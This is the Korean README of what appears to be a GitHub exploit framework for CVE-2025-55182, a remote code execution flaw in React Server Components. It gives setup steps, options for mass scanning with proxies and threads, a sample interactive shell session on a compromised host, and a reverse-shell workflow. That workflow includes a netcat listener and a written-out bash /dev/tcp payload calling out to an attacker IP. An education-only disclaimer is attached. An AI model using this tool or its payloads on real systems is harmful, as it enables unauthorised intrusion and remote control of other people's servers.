alihzsec/cve-2025-55182React Server Components용 심각한 RCE 취약점 스캐너 (CVE-2025-55182). 다중 페이로드 지원, 프록시 기능 및 대화형 명령 실행을 갖춘 자동화된 익스플로잇 프레임워크.
[!Warning] 이 저장소는 교육 및 연구 목적으로만 제공됩니다.
- 제공된 PoC를 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에서만 사용하세요.
- 무단 접근, 악용 또는 본 저장소의 자료를 오용하는 것은 불법입니다.
- 저자는 부적절한 사용으로 인한 손해, 오용 또는 법적 결과에 대해 책임을 지지 않습니다.
CVE-2025-55182는 React Server Components 버전 19.0.0, 19.1.0, 19.1.1 및 19.2.0에 영향을 미치는 심각한 원격 코드 실행 취약점입니다. 이 취약점은 Server Function 엔드포인트로 전송되는 HTTP 요청 페이로드의 안전하지 않은 역직렬화에서 비롯되며, 인증되지 않은 공격자가 원격으로 임의 코드를 실행할 수 있게 합니다.
CVE ID: CVE-2025-55182
영향받는 버전:
git clone https://github.com/AliHzSec/CVE-2025-55182.git
cd CVE-2025-55182
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 main.py [-h] (-d | -e) [-u URL] [-l LIST] [-p PROXY | -pl PROXY_LIST] [-t THREADS] [-s]
| 인자 | 설명 |
|---|---|
-d, --detection | 탐지 모드로 실행 (취약점 검색) |
-e, --exploit | 익스플로잇 모드로 실행 (단일 대상 공격) |
-u, --url URL | 스캔/공격할 단일 대상 URL |
-l, --list FILE | 대상 URL 목록이 포함된 파일 (탐지 모드 전용) |
-p, --proxy URL | 단일 프록시 URL (예: http://127.0.0.1:8080) |
-pl, --proxy-list FILE | 프록시 URL 목록이 포함된 파일 (한 줄에 하나) |
-t, --threads N | 동시 스레드 수 (기본: 10, 탐지 모드 전용) |
-s, --silent | 무음 모드 - 취약한 대상만 표시 (탐지 모드 전용) |
-o, --output [FILE] | 취약한 대상을 파일로 저장 (탐지 모드 전용). 파일 이름을 지정하지 않으면 기본값: CVE-2025-55182_Result_YYYYMMDD_HHMMSS.txt 사용 |
--debug | 디버그 로깅 활성화 - 응답 세부 정보 및 재시도 횟수 표시 (무음 모드에서는 사용 불가) |
python3 main.py -d -u https://example.com
python3 main.py -d -l targets.txt
python3 main.py -d -l targets.txt -p http://127.0.0.1:8080
python3 main.py -d -l targets.txt -s
python3 main.py -d -l targets.txt -t 20
python3 main.py -e -u https://vulnerable-site.com
그런 다음 대화형 셸에 대해 [i]를 선택합니다:
Choose exploitation method:
[i] Interactive shell
[r] Reverse shell
Enter your choice (i/r): i
shell> whoami
ec2-user
shell> id
uid=1000(ec2-user) gid=1000(ec2-user) groups=1000(ec2-user)
shell> ls -la
total 48
drwxrwxr-x 5 user user 4096 Dec 7 10:00 .
drwxr-xr-x 3 root root 4096 Dec 1 08:00 ...
...
shell> exit
python3 main.py -e -u https://vulnerable-site.com
그런 다음 리버스 셸에 대해 [r]을 선택하고 페이로드 유형을 선택합니다:
Choose exploitation method:
[i] Interactive shell
[r] Reverse shell
Enter your choice (i/r): r
Choose payload option:
[d] Use default payloads (Try multiple reverse shells)
[c] Provide custom payload
Enter your choice (d/c): d
Enter your IP and port in this format:
Example: 192.168.1.100:4444
IP:PORT> 192.168.1.100:4444
Setup your listener with this command:
nc -lvnp 4444
Press ENTER when your listener is ready...
이 도구는 하나가 성공할 때까지 17개 이상의 다양한 리버스 셸 페이로드를 자동으로 시도합니다.
Enter your choice (d/c): c
Enter your custom reverse shell payload:
payload> bash -i >& /dev/tcp/10.0.0.1/4444 0>&1